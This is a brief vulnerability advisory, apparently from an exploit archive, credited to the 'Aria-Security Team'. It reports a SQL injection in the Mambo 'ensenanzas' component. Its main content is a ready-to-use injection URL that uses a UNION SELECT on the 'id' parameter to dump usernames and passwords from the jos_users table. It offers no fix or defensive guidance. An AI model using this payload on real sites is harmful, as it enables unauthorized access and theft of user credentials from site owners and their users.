Mambo Components ensenanzas "id" Remote SQL Injection

[no-reply@Aria-security.net]

Aria-Security Team (Persian Security Network)
http://Aria-Security.Net/
----------------------------
Shoutz: Aura, NULL, Kinglet, iM4N, Imm02tal
Mambo Components ensenanzas "id" Remote SQL Injection
Original Advisory: http://forum.aria-security.net/showthread.php?p=1731


index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*



Regards,
The-0utl4w